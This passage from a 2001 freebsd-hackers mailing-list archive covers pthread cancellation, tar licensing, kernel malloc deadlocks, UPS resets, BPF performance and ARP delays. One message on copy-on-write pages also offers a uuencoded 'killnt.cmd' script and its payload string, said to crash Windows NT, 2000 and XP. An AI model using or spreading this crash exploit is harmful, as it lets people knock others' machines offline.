weekend crowd, trying again... I've encountering a problem using pthread_cancel, pthread_join and pthread_setcanceltype, I'm hoping someone can shed some light. (in a nutshell : pthread_setcanceltype doesn't seem to work) (if there's a more appropriate mailing list for this, please let me know) I recently encountered a situation where, after calling pthread_cancel to cancel a thread, the call to pthread_join hangs indefinitely. I quickly figured out that it was because the thread being cancelled was never reaching a cancellation point (in fact it was an infinite loop with no function calls at all). Sure enough, adding a pthread_testcancel() in the loop allowed pthread_join to return. However this solution isn't acceptable for my requirements. I discovered the pthread_setcanceltype function and its PTHREAD_CANCEL_ASYNCHRONOUS parameter, which looked like they would give me exactly what I needed : allow threads to be cancelled regardless of what they are doing (basically a pthread equivalent to TerminateThread). Unfortunately, my tests have been less than conclusive : pthread_setcanceltype doesn't seem to do anything at all. It tells me it succeeds, subsequent calls properly report the previous cancellation type as ASYNCHRONOUS. But pthread_join still hangs, and adding pthread_testcancel calls still makes it work... I'm working on a FreeBSD 4.4-release machine; I ran the same test under FreeBSD 4.3-release and got the same results. However, running it on a Linux box (Mandrake release, 2.4.x kernel), I get exactly the results I was expecting (that is, setting the cancellation type to asynchronous allows the thread to be cancelled at any time) see the end of this message for my test program So the questions are -am I doing something wrong or misinterpreting the man pages? -if not, is this a known bug? -if so, is there a workaround (or is it already fixed)? -if not, can someone investigate? (I once had a look at the libc_r code and ran away screaming) If this turns out to be a bug in libc_r, a suggestion for a work-around (even a hack) would be much appreciated, even if a proper fix is found and committed to CVS (requiring an upgrade from 4.4-release installations is something we'd rather avoid). now for some disclaimers : I'm aware that asynchronous cancellations (TerminateThread-style) are an Evil Thing To Do. Unfortunately I have no choice in the matter. I'm aware that there are some strict limitations on what a thread is "allowed" to do while its cancellation type is asynchronous. specifically, it should only call "cancel-safe" functions. Note that in my test program, the thread being cancelled doesn't call any functions at all after setting its cancellation type, so this shouldn't be an issue. now for the code : #include #include /* thread entry point */ void * thread_entry (void *arg) { int i; if(0!=pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,NULL)) { fprintf(stderr,"setcanceltype failed!\n"); } fprintf(stderr,"thread_entry entering loop\n"); while(1) { i++; /* uncomment this to insert a cancellation point */ /* pthread_testcancel();*/ } /* if we see this, it would mean the loop has been optimized out... */ fprintf(stderr, "after loop\n"); } int main(void) { pthread_t thread; pthread_attr_t attr; void *pthread_param; pthread_attr_init(&attr); fprintf(stderr,"creating thread\n"); pthread_create(&thread,&attr,&thread_entry,NULL); fprintf(stderr,"thread created; hit enter to cancel it...\n"); getchar(); fprintf(stderr,"cancelling...\n"); if(0!=pthread_cancel(thread)) { fprintf(stderr,"cancel failed!\n"); } fprintf(stderr,"after cancel, before join...\n"); if(0!=pthread_join(thread,&pthread_param)) { fprintf(stderr,"join failed!\n"); } fprintf(stderr,"after join\n"); } please ask if more details are needed Thanks in advance, Louis-Philippe Gagnon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 9: 9:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 25E0E37B405 for ; Tue, 27 Nov 2001 09:09:10 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id fARH91m68304; Tue, 27 Nov 2001 09:09:01 -0800 (PST) (envelope-from obrien) Date: Tue, 27 Nov 2001 09:09:01 -0800 From: "David O'Brien" To: "Walter C. Pelissero" Cc: hackers@FreeBSD.ORG Subject: Re: tar and nodump flag Message-ID: <20011127090901.A68203@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <15355.47042.573852.420151@hyde.lpds.sublink.org> <20011126024359.C41312@dragon.nuxi.com> <15363.38257.236253.85237@hyde.lpds.sublink.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15363.38257.236253.85237@hyde.lpds.sublink.org>; from walter@pelissero.org on Tue, Nov 27, 2001 at 01:30:25PM +0000 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 27, 2001 at 01:30:25PM +0000, Walter C. Pelissero wrote: > Does it mean we can't modify the BSD tar because it's already too > different from the GNU tar, but at the same time we don't upgrade to > the new GNU tar because it might require too much work adapting the > old mods to the new code? Yes. > Am I wrong or this means the BSD tar code is frozen? Sort of. Not a good position to be in. I have seriously considered importing the latest GNU tar into -CURRENT and applying only some of the FreeBSD changes to see just why we cannot live with a more stock GNU tar. > Do you have a list of discrepancies (not a diff) between the current > BSD tar and the version of GNU tar it's based on? No, I read diffs. :-) -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 9:12:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id CFC9237B405 for ; Tue, 27 Nov 2001 09:12:33 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id fARHCOM68361; Tue, 27 Nov 2001 09:12:24 -0800 (PST) (envelope-from obrien) Date: Tue, 27 Nov 2001 09:12:24 -0800 From: "David O'Brien" To: Harti Brandt Cc: "Walter C. Pelissero" , hackers@FreeBSD.ORG Subject: Re: tar and nodump flag Message-ID: <20011127091224.B68203@dragon.nuxi.com> Mail-Followup-To: hackers@freebsd.org References: <15363.38257.236253.85237@hyde.lpds.sublink.org> <20011127144343.W421-100000@beagle.fokus.gmd.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011127144343.W421-100000@beagle.fokus.gmd.de>; from brandt@fokus.gmd.de on Tue, Nov 27, 2001 at 02:45:38PM +0100 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 27, 2001 at 02:45:38PM +0100, Harti Brandt wrote: > Perhaps it makes sense to switch to star instead? The last version is > Posix conform, supports extended headers and ACLs. According to the star > developer (Joerg Schilling) GNU tar is severly broken. Star is GLP'ed software. Thus bringing it in under a license justification won't work. So it would be up to someone to analysis Joerg Schilling statements and make a proposal on a FreeBSD mailing list to see if we could reach consensus on the change. A negative point would be that we'd be the only one using Star as our native tar. By sticking with GNU Tar we are in larger company. The ACL and extended header support may be a feature we really want in -current to go along with Robert Watson's TrustedBSD merges. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 9:13:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id D0D4037B405 for ; Tue, 27 Nov 2001 09:13:24 -0800 (PST) Received: from onyx (onyx.cs.binghamton.edu [128.226.140.171]) by bingnet2.cc.binghamton.edu (8.11.6/8.11.6) with ESMTP id fARHDNq10589 for ; Tue, 27 Nov 2001 12:13:23 -0500 (EST) Date: Tue, 27 Nov 2001 12:11:42 -0500 (EST) From: Zhihui Zhang X-Sender: zzhang@onyx To: freebsd-hackers@freebsd.org Subject: malloc deadlock with M_NOWAIT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am trying to allocate a dynamic number of large memory (128K) by malloc(128K, M_xxx, M_NOWAIT). Although this is not done in an interrupt routine, I figure I'd better use M_NOWAIT so that I can deal with the situation when the memory is low. However, I experience the following deadlock: #1 0xc02d8f4d in vm_object_page_remove (object=0xc03fa060, start=5690, end=5722, clean_only=0) at ../../vm/vm_object.c:1459 #2 0xc02d53ce in vm_map_delete (map=0xc03f9ee0, start=3243479040, end=3243610112) at ../../vm/vm_map.c:1872 #3 0xc02d35e3 in kmem_malloc (map=0xc03f9ee0, size=131072, flags=1) at ../../vm/vm_kern.c:365 #4 0xc01baed7 in malloc (size=131072, type=0xc0f6ab60, flags=1) at ../../kern/kern_malloc.c:188 The process that calls mallocs() hangs at the following statement inside vm_object_page_remove(): vm_page_sleep_busy(p, TRUE, "vmopar") At the same time, the entire system also freezes. I am wondering if I am doing the right thing here. Maybe 128K is too large for such a use? I am using 4.4-Release. Any suggestion is appreciated. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 9:22:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from jhs.muc.de (jhs.muc.de [193.149.49.84]) by hub.freebsd.org (Postfix) with ESMTP id BB6BB37B417 for ; Tue, 27 Nov 2001 09:22:27 -0800 (PST) Received: from park.jhs.private (localhost [127.0.0.1]) by jhs.muc.de (8.11.0/8.11.0) with ESMTP id fARGf0C02753; Tue, 27 Nov 2001 16:41:00 GMT (envelope-from jhs@park.jhs.private) Message-Id: <200111271641.fARGf0C02753@jhs.muc.de> To: marjan.mihelin@kclj.si Cc: if@sil.at, abial@webgiro.com, hackers@FreeBSD.ORG Subject: Re: Fiskars UPS - solution! In-Reply-To: Message from "doc. dr. Marjan Mihelin, dipl. ing." of "Tue, 27 Nov 2001 08:16:09 +0100." <200111271623.IAA04800@origin.intranet.kclj.si> Date: Tue, 27 Nov 2001 17:41:00 +0100 From: "Julian Stacey Jhs@jhs.muc.de" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "doc. dr. Marjan Mihelin, dipl. ing." wrote: > Hi > > > > > We are using from 1993 Fiskars UPS 0.8 A UPS unit (Type UPS 1008A- > > > 10EU, PartNo: 10 02 891 Rev A1, SerNo: 119355 9345, Made in Finland) > > > and few days ago the Battery failure control light started blinking. > > > We replaced accus (5 pcs 12V 4Ah) and we charged them for 48 hours > > > but the control light is still blinking. Do you have any advice what > > > to do? Where it is possible to get the electrical plans of this > > > unit? I would be grateful for any help. > > > > try to measure the battery voltage and the load current. > > perhaps the batterys are low level decharged,,, (a 12v battery have > > less than 10V). the try to load it a while with a battery loader > > (perhaps a car-battery loader) and limit the current to 300ma. > > > > that should work.. > > > Finally, we found the proper solution. Only the proper reset was > needed. Inside of the unit, close to the front panel there is an 8 > position DIP switch. The uppermost switch should change the position > and then the reset button on the front panel should be pressed. The > unit reset is finalized by turning the unit off, then DIP switch > should be pressed into the initial position and when you switch the > unit on, everything is OK. > Thank you for all advises and best regards > Marjan Hi, thanks for the personal cc, but I don't have a Fiskars, it sounds useful info though, so I suggest you cd /usr/ports/*/nut ; grep MAINTAINER Makefile # (as fallback if next fails) make patch explore tree for author of Nut, & mail him your notes to incorporate in nut-0.45.0.tar.gz (applicable to FreeBSD-4.4) That way your detective work gets to be saved for others :-) Cheers. Julian J.Stacey Munich Unix (FreeBSD, Linux etc) Independent Consultant Reduce costs to secure jobs: Use free software: http://bim.bsn.com/~jhs/free/ Ihr Rauchen = mein allergischer Kopfschmerz ! Schnupftabak probieren ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:11:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from neva.sovintel.ru (neva.sovintel.ru [212.44.131.7]) by hub.freebsd.org (Postfix) with SMTP id 9F88B37B405 for ; Tue, 27 Nov 2001 10:11:44 -0800 (PST) Received: (qmail 60666 invoked from network); 27 Nov 2001 18:11:34 -0000 Received: from ppp90-spb-213-221-48.sovintel.ru (HELO a110c) (213.221.48.90) by neva.sovintel.ru with SMTP; 27 Nov 2001 18:11:34 -0000 Message-ID: <000501c1776e$e5213070$5a30ddd5@a110c> From: "Andrey Pugachev" To: Subject: help Date: Tue, 27 Nov 2001 18:09:54 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG help To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:13:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id DA86737B405 for ; Tue, 27 Nov 2001 10:13:23 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fARIVrq18116; Tue, 27 Nov 2001 10:31:54 -0800 (PST) Date: Tue, 27 Nov 2001 10:31:53 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: Andrey Pugachev Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: help In-Reply-To: <000501c1776e$e5213070$5a30ddd5@a110c> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Uhh..with what? On Tue, 27 Nov 2001, Andrey Pugachev wrote: > help > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:20:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id B402437B41A for ; Tue, 27 Nov 2001 10:20:17 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id KAA10029; Tue, 27 Nov 2001 10:11:53 -0800 (PST) Date: Tue, 27 Nov 2001 10:11:52 -0800 (PST) From: Julian Elischer To: Rajesh P Jain Cc: freebsd-hackers@freebsd.org Subject: Re: BPF - Packet Reception In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG netgraph? On Tue, 27 Nov 2001, Rajesh P Jain wrote: > Thanks for all the replies. > > In linux, the packet reception can be done efficiently through the usage of ethernet sockets. > > In FreeBSD, one of the option is by using the BPF. But, as already commented, BPF is not a high performance device. > > So, Can anyone give an alternative way in FreeBSD (other than modifying the driver code), so that high packet-rate reception can be done by without dropping any of the packets ? > > Thanks in advance > Raj > > -- > > On Mon, 26 Nov 2001 17:05:33 Robert Watson wrote: > > > >On Mon, 26 Nov 2001, Rajesh P Jain wrote: > > > >> We are trying to use BPF (Packet Filter) pseduo device to send > >> and receive the packets. > >> Even if there is a slight delay (Some processing has to be done > >> on the read packet) between the issuing of 'read' call, so many packets > >> are getting dropped. > >> Is there a way to attach a callback function to the opened device, > >> so that on a packet arrival, this function is being called. > >> We polling the device is always risky thing as we may loose some > >> packet. > >> Any help on this would be very much appreciated. Thanks and > >> regards, -Raj > > > >There are a number of things that can be done to improve BPF's behavior > >under high volume, including setting a larger in-kernel buffer for BPF > >(using BIOCSBLEN), as well as implementing the equivilent of interupt > >coallescing when delivering packets to userland, through the use of a > >timeout (BIOCSRTIMEOUT, BIOCIMMEDIATE), which can increase throughput. > >While BPF is not able to handle extremely high packet rates, due to it > >performing memory copies and simple virtual machine execution, I've quite > >successfully used it to do userland packet forwarding (read, process, > >send) in the 100mbps range on moderately equipped machines. Depending on > >the nature of the packets you're capturing, optimizing your BPF code, or > >feeding it code that matches more specifically, can also impact > >performance. > > > >The performance of BPF is often directly associated with the amount of > >userland context switching going on: for example, running my BPF-based > >packet forwarding program at the same time as tcpdump would easily halve > >the throughput by making the number of context switches proportional to > >the number of packets delivered. A single process performing BPF > >operations will perform *much* better on an unloaded machine. > > > >Robert N M Watson FreeBSD Core Team, TrustedBSD Project > >robert@fledge.watson.org NAI Labs, Safeport Network Services > > > > > > > > > > > Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:20:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtpproxy1.mitre.org (smtpproxy1.mitre.org [129.83.20.90]) by hub.freebsd.org (Postfix) with ESMTP id 0719837B417 for ; Tue, 27 Nov 2001 10:20:39 -0800 (PST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.11.3/8.11.3) with ESMTP id fARIKb825795 for ; Tue, 27 Nov 2001 13:20:37 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtpsrv1.mitre.org (8.11.3/8.11.3) with ESMTP id fARIKYs16662 for ; Tue, 27 Nov 2001 13:20:36 -0500 (EST) Received: from dhcp-48-37.mitre.org (128.29.48.37) by mailhub1.mitre.org with SMTP id 8383393; Tue, 27 Nov 2001 13:19:26 -0500 Message-ID: <3C03D9E6.83304C10@mitre.org> Date: Tue, 27 Nov 2001 13:22:30 -0500 From: "PSI, Mike Smith" Organization: The MITRE Corporation X-Mailer: Mozilla 4.76 [en]C-20010313M (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: help References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Take it easy on the poor guy! There have been many an occasion when all I could say was "help"...actually "heeeeelllllppppp meeee pleeeese". Of course never when dealing with FreeBSD! (not the) Mike Smith Geoff Mohler wrote: > > Uhh..with what? > > On Tue, 27 Nov 2001, Andrey Pugachev wrote: > > > help > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > --- > Geoff Mohler > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:45: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id A5C7737B416 for ; Tue, 27 Nov 2001 10:44:57 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id fARIiuf35600 for ; Tue, 27 Nov 2001 10:44:57 -0800 (PST) Date: Tue, 27 Nov 2001 10:44:56 -0800 (PST) From: David Kirchner X-X-Sender: To: Subject: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds (fwd) Message-ID: <20011127104436.W15780-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, This problem is still ongoing; unfortunately I haven't seen a reply about it from questions. Maybe someone here knows what's up? ---------- Forwarded message ---------- Date: Thu, 15 Nov 2001 13:08:38 -0800 (PST) From: David Kirchner To: questions@FreeBSD.ORG Subject: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds We've recently started using FreeBSD 4.4 for production servers, in an environment where servers between 3.2 and 4.3 have had no trouble. Starting with 4.4, the servers have been booting up without being able to see the network for around 50 seconds. tcpdump indicates that the gateway isn't responding to the ARP request for x.x.x.1 right away. However, the gateway responds immediately to ARP requests from 3.2 through 4.3 machines. All other ARP requests are responded to immediately (ie, other FreeBSD 3.2-4.4 servers, even before the gateway responds) I was wondering if a) anyone else has been experiencing similar trouble, and b) if anything non-obvious has changed in the way FreeBSD ARP request packets are sent that would cause this? Our network runs on primarily Cisco hardware, and the servers are connected to Catalyst (29xx I believe) switches. The gateway is a Cisco somethingorother router. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 10:56:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from neva.sovintel.ru (neva.sovintel.ru [212.44.131.7]) by hub.freebsd.org (Postfix) with SMTP id 10B7F37B416 for ; Tue, 27 Nov 2001 10:56:44 -0800 (PST) Received: (qmail 64879 invoked from network); 27 Nov 2001 18:56:34 -0000 Received: from ppp146-spb-213-221-48.sovintel.ru (HELO a110c) (213.221.48.146) by neva.sovintel.ru with SMTP; 27 Nov 2001 18:56:34 -0000 Message-ID: <002901c17775$2f05e900$5a30ddd5@a110c> From: "Andrey Pugachev" To: Subject: Does FreeBSD support copy-on-write pages? Date: Tue, 27 Nov 2001 18:54:17 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am just curious, can FreeBSD kernel perform function called copy-on-write pages in Windows NT world? This is tricky feature of NT memory manager. When several processes (or threads) allocate identical write-enabled memory pages, system does not allocate physical memory for each process data at once. The NT kernel allocates only one copy of write-enabled memory region. But when this memory being written, system allocates memory for changed (written) pages and copies data to them. So identical write-enabled memory regions being stored in physical space (RAM/page file) only once (shared read-only .text code sections well known for ages). Each thread/process can read and write such write-enabled memory areas not bothering about concurrent access. Each process lives in its own address space and physically shared or unique pages are being mapped into this 4G (or more) linear address space. So I just curious, whether some similar feature available in FreeBSD kernel. If not, this will be not a problem. Here is a small joke -- 10 byte (1 line) NT command processor script to kill any known NT family operating system. Even C2-secure rated by NSA's TSEC("Orange Book") systems including Windows NT Workstation/Server 4.0 build 1381 (release) up to SP 6.0a, Windows 2000 and XP clones. When string "\t\b\b*" being written as a first string on new console, the whole thing dies. Depending on system configuration, NT reboots, hangs or displays "Blue Screen of Death" (BSOD): "The computer has rebooted from a bugcheck. The bugcheck was: 0xc000021a (0xe12535e8, 0xc0000005, 0x5ffc9d68, 0x00a3fa44). Microsoft Windows NT [v15.1381]. A full dump was not saved." Here is sophisticated :) Windows NT family killer just for fun and researches. Run from parent process with no console preallocated -- from GUI shell, Start\Run menu etc. The more backspaces being typed, the more NT clones being killed (it seems, backspaces overwrites valuable kernel data stored before console instance buffer): section 1 of uuencode 5.20 of file killnt.cmd by R.E.M. begin 644 killnt.cmd *0&5C:&\@"0@(*@@( ` end sum -r/size 38770/45 section (from "begin" to "end") sum -r/size 33593/10 entire input file If no task writes data in backgound, this is quite safe -- no data lost after reboot. Have fun. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 11: 2:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from soda.nextgig.com (nextgig-8.customer.nethere.net [209.132.102.168]) by hub.freebsd.org (Postfix) with ESMTP id 49E7737B416 for ; Tue, 27 Nov 2001 11:02:45 -0800 (PST) Received: from DMANESAJIAN († by soda.nextgig.com (8.11.3/8.11.3) with SMTP id fARJ2i184246 for ; Tue, 27 Nov 2001 11:02:44 -0800 (PST) From: "Daniel Manesajian" To: Subject: RE: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds (fwd) Date: Tue, 27 Nov 2001 11:06:19 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20011127104436.W15780-100000@localhost> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Seeing the tcpdump would be informative. D-man > -----Original Message----- > From: owner-freebsd-hackers@FreeBSD.ORG > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of David Kirchner > Sent: Tuesday, November 27, 2001 10:45 AM > To: hackers@FreeBSD.ORG > Subject: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds (fwd) > > > Hi, > > This problem is still ongoing; unfortunately I haven't seen a reply about > it from questions. Maybe someone here knows what's up? > > ---------- Forwarded message ---------- > Date: Thu, 15 Nov 2001 13:08:38 -0800 (PST) > From: David Kirchner > To: questions@FreeBSD.ORG > Subject: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds > > We've recently started using FreeBSD 4.4 for production servers, in an > environment where servers between 3.2 and 4.3 have had no trouble. > Starting with 4.4, the servers have been booting up without being able to > see the network for around 50 seconds. > > tcpdump indicates that the gateway isn't responding to the ARP request for > x.x.x.1 right away. However, the gateway responds immediately to ARP > requests from 3.2 through 4.3 machines. All other ARP requests are > responded to immediately (ie, other FreeBSD 3.2-4.4 servers, even before > the gateway responds) > > I was wondering if a) anyone else has been experiencing similar trouble, > and b) if anything non-obvious has changed in the way FreeBSD ARP request > packets are sent that would cause this? > > Our network runs on primarily Cisco hardware, and the servers are > connected to Catalyst (29xx I believe) switches. The gateway is a Cisco > somethingorother router. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 11: 5:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 20FC437B405 for ; Tue, 27 Nov 2001 11:05:24 -0800 (PST) Received: from pc3-card4-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 168nXk-0001W5-00; Tue, 27 Nov 2001 19:05:21 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 168nXg-00041J-00; Tue, 27 Nov 2001 19:05:16 +0000 Date: Tue, 27 Nov 2001 19:05:16 +0000 From: setantae To: Andrey Pugachev Cc: freebsd-hackers@FreeBSD.org Subject: Re: Does FreeBSD support copy-on-write pages? Message-ID: <20011127190515.GA15358@rhadamanth> References: <002901c17775$2f05e900$5a30ddd5@a110c> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <002901c17775$2f05e900$5a30ddd5@a110c> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 27, 2001 at 06:54:17PM -0000, Andrey Pugachev wrote: > I am just curious, can FreeBSD kernel perform function called copy-on-write? As far as I am aware, the BSD family of operating systems have always used copy-on-write (at least since 4.3BSD). Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 12:24:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postfix2-2.free.fr (postfix2-2.free.fr [213.228.0.140]) by hub.freebsd.org (Postfix) 